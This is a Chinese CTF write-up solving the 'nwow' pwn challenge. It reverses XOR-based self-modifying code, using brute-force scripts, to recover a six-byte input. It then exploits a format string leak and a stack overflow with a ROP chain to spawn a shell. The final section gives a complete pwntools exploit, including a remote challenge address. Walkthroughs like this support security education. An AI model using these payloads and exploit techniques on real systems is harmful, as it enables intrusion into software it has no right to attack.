20180603
0x00 前言
总之这题很蛋疼。。。做起来很难受,没见过这种题。。可能是我题做得少?
0x01 根据输入SMC
首先进来看到main
,输出完之后有这么一个常见混淆。。。
大概就是短call
然后pop出当前地址,再+7
,加完之后rax
刚好是jmp rax
的下一条指令,不细说,不知道的可以跟一下(nop掉0x400749处的反调试)
.text:000000000040080C call $+5
.text:0000000000400811 L_64:
.text:0000000000400811 pop rax
.text:0000000000400812 add rax, 7
.text:0000000000400816 jmp rax
接着会先把代码段设为可写然后读6个字节。。。
.text:0000000000400818 sar rax, 0Ch
.text:000000000040081C shl rax, 0Ch
.text:0000000000400820 mov rdi, rax
.text:0000000000400823 mov rdx, 7
.text:000000000040082A mov rax, 0Ah
.text:0000000000400831 mov rsi, 1000h
.text:0000000000400838 syscall ; LINUX - sys_mprotect
.text:000000000040083A xor rax, rax
.text:000000000040083D mov rdx, 6
.text:0000000000400844 push rax
.text:0000000000400845 lea rax, szCh
.text:000000000040084D mov rsi, rax
.text:0000000000400850 pop rax
.text:0000000000400851 mov rdi, rax
.text:0000000000400854 syscall ; LINUX - read
.text:0000000000400856 call $+5
.text:000000000040085B L0_64:
.text:000000000040085B pop rax
.text:000000000040085C add rax, 24h ; rax指向0x40085B+0x24=0x40087F
.text:0000000000400860 xor rcx, rcx
.text:0000000000400863 mov dl, [rsi+rcx] ; 拿第一个输入
.text:0000000000400866
.text:0000000000400866 L1_64: ; CODE XREF:
.text:0000000000400866 mov bl, [rax+rcx]
.text:0000000000400869 xor bl, dl
.text:000000000040086B mov [rax+rcx], bl ; SMC 异或
.text:000000000040086E mov dh, [rax+rcx-1]
.text:0000000000400872 inc rcx
.text:0000000000400875 cmp dh, 0FBh
.text:0000000000400878 jz short L1_64
.text:000000000040087A cmp bl, 90h
.text:000000000040087D jnz short L1_64 ; 终止条件是直到一个nop且前一个字节不为fb
.text:000000000040087F sub eax, 2D6D61E8h ; 待解密
.text:0000000000400884 db 48h
.text:0000000000400884 in rax, 65h
所以这个单字节是不知道的,我们要猜。随便输的话解密失败明显出来乱七八糟的指令,跑一会就segfault了,所以不觉得这种乱指令能getshell。
那么怎么知道这个值是多少呢,当然要从0-255
跑一遍,然后看哪个是不是乱指令。如何判断?在Pwntool中有个disasm
,可以反汇编。然后如果有无法识别的指令会是(bad)
,所以,就把这些字节先用IDAPython给dump出来,然后解密,然后看谁没有(bad)
(最后用的是这种方法),或者说谁的(bad)
位置比较在后面(前面先用这个测试的),这基本可以过滤一堆了,最后需要人肉再从这十多个里面找到正确的。
是不是一股crypto和misc的破解xor的味道。。。
具体代码如下
from pwn import *
def xor(arr, k):
ret = []
for i in xrange(0,len(arr)):
ret.append(chr(arr[i] ^ k))
return "".join(ret)
bad_idx = []
for k in xrange(0,256):
asm = disasm(xor(enc, k), arch = 'amd64') #enc是加密的代码字节,太长不贴了
bad_idx.append(asm.find("(bad)"))
print bad_idx
m = max(bad_idx)
#print map(hex, [i for i, j in enumerate(bad_idx) if j == m])
for i in xrange(0,256):
if bad_idx[i]>1000: # 找bad_idx比较靠后的,1000是慢慢试出来的
print hex(i) + ":"
print disasm(xor(enc, i), arch = 'amd64')[:256]
print "\n\n"
然后这个方法其实不是最好的,最好的是这样的。。。(加上break条件限制)
def decrypt_fb90(arr, key):
ret = []
i = 0
while i < len(arr):
r = arr[i] ^ key
ret.append(r)
if (i >= 1 and ret[i-1] != 0xfb and r == 0x90):
break
i += 1
return "".join(map(chr,ret))
def find_correct_key(enc):
for k in xrange(0,256):
asm = disasm(decrypt_fb90(enc, k), arch = 'amd64')
if asm.find("(bad)") == -1: # 解密后的代码找不到错误指令
print hex(k)
print asm
print "\n"
find_correct_key(enc)
然后就是慢慢撸,最后发现正确的key是0x65
解密之后发现又是一个类似的东西,只不过他会先把前面的代码xor加密掉(没啥意义,不知道干嘛的)
然后后面不是直接拿输入解密的,是把输入xor上前一个的key作为新的key,一共有好几段这样的代码,随便贴其中一个(都长得一样的好像)
.text:000000000040087F lea rax, [rax+rcx]
.text:0000000000400883 sub rax, 80h
.text:0000000000400889 xor rcx, rcx
.text:000000000040088C
.text:000000000040088C snd_phase: ; CODE XREF:
.text:000000000040088C mov bl, [rax+rcx]
.text:000000000040088F xor bl, dl
.text:0000000000400891 mov [rax+rcx], bl
.text:0000000000400894 inc rcx
.text:0000000000400897 cmp rcx, 20h
.text:000000000040089B jl short snd_phase ; 这个循环加密前面的代码
.text:000000000040089D add rax, 80h
.text:00000000004008A3 xor rcx, rcx
.text:00000000004008A6 mov dl, [rsi+rcx]
.text:00000000004008A9 inc rsi
.text:00000000004008AC xor dl, [rsi+rcx] ; 新key
.text:00000000004008AF
.text:00000000004008AF L2_64: ; CODE XREF:
.text:00000000004008AF ; .text:00000000004008C6↓j
.text:00000000004008AF mov bl, [rax+rcx]
.text:00000000004008B2 xor bl, dl
.text:00000000004008B4 mov [rax+rcx], bl
.text:00000000004008B7 mov dh, [rax+rcx-1]
.text:00000000004008BB inc rcx
.text:00000000004008BE cmp dh, 0FBh
.text:00000000004008C1 jz short L2_64
.text:00000000004008C3 cmp bl, 90h
.text:00000000004008C6 jnz short L2_64
.text:00000000004008C8 nop
然后解密用的是IDAPython,这个网上有教程,不说了。。
最后一段(解密漏洞代码)好像没有0FBh
这个限制了,不知道为啥,好像没区别,不过这个限制有啥用啊。。。不懂。。。希望出题人来解释下。。。
def decrypt_fb90(addr, key):
while True:
r = Byte(addr) ^ key
PatchByte(addr, r)
if (Byte(addr-1) != 0xfb and r == 0x90):
break
addr += 1
print hex(addr)
def decrypt_xor(addr, num, key):
for i in xrange(0,num):
PatchByte(addr + i, Byte(addr + i) ^ key)
def dump_bytes(beg, end):
ret = "["
for p in xrange(beg, end):
ret += hex(Byte(p)) + ","
print ret
return ret
最后解出来6个字节如下
1 key:0x65 => e
2 key:0x13 ^0x65 => v
3 key:0x4b ^0x13 => X
4 key:0x25 ^0x4b => n
5 key:0x44 ^0x25 => a
6 key:0x0f ^0x44 => K
=> evXnaK
0x02 漏洞
所以这题其实是5分crypto,3分逆向,2分pwn(至少我花的时间差不多是这样,可能是我misc做的不熟)
漏洞其实很简单了。。。
.text:00000000004009FA mov rax, 1
.text:0000000000400A01 mov rdx, 5
.text:0000000000400A08 lea rsi, szCh2 ; "wow!\n"
.text:0000000000400A10 mov rdi, rax
.text:0000000000400A13 syscall ; LINUX - sys_write
.text:0000000000400A15 mov edi, 0
.text:0000000000400A1A call _fflush
.text:0000000000400A1F cmp rax, rax
.text:0000000000400A22
.text:0000000000400A22 L_J0:
.text:0000000000400A22 jnz short near ptr loc_400A33+3
.text:0000000000400A24 call $+5
.text:0000000000400A29
.text:0000000000400A29 L_J1:
.text:0000000000400A29 pop rax
.text:0000000000400A2A add rax, 7
.text:0000000000400A2E jmp rax
.text:0000000000400A30 xor rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33: ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33 mov rdx, 1Ah
.text:0000000000400A3A mov rsi, rsp
.text:0000000000400A3D mov ds:lpGoble, rsp
.text:0000000000400A45 mov rdi, rax
.text:0000000000400A48 syscall ; LINUX - sys_read
.text:0000000000400A4A mov rax, cs:lpGoble
.text:0000000000400A51 mov rdi, rax
.text:0000000000400A54 mov eax, 0
.text:0000000000400A59 call _printf ; 栈中格式化字符串漏洞
.text:0000000000400A5E xor rax, rax
.text:0000000000400A61 mov rdx, 200h
.text:0000000000400A68 lea rsi, [rsp-20h]
.text:0000000000400A6D mov rdi, rax
.text:0000000000400A70 syscall ; read,栈溢出
.text:0000000000400A72 nop
首先"%13$lxAAA%8$sBB\x00" + p64(prog.got["puts"])
可以leak出canary和libc,具体这个位置怎么确定的调一下就知道了。。。
然后栈溢出,可以覆盖到返回地址,具体payload如下
p64(canary)*(0x68/8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0)
因为懒得确定canary的位置直接padding全放成canary了,然后ROP,/bin/sh
是在libc里面就有的字符串,pop rdi
是在源程序里面找的,返回地址设成了0,这个倒是无所谓。0x68怎么确定的也是调一下就好了。。
完整exp
from pwn import *
g_local=True
prog = ELF('./nwow')
#context.log_level='debug'
if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./nwow')#env={'LD_PRELOAD':'./libc.so.6'}
#gdb.attach(sh)
else:
sh = remote("139.199.99.130", 65188)
sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")
sh.send("evXnaK")
sh.recvuntil("wow!\n")
sh.send("%13$lxAAA%8$sBB\x00" + p64(prog.got["puts"]))
canary = sh.recvuntil("AAA")
assert len(canary) == 16 + 3
canary = int(canary[:16],16)
puts_leak = sh.recvuntil("BB")
print puts_leak
print len(puts_leak)
assert len(puts_leak) == 6 + 2
puts_leak = u64(puts_leak[:6] + "\x00\x00")
libc = puts_leak - e.symbols["puts"]
system_addr = libc + e.symbols["system"]
binsh_addr = libc + (next(e.search('/bin/sh\x00')))
print "canary: " + hex(canary)
print "puts: " + hex(puts_leak)
print "libc: " + hex(libc)
print "bin/sh: " + hex(binsh_addr)
pop_rdi_ret = 0x400b23
sh.send(p64(canary)*(0x68/8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0))
sh.interactive()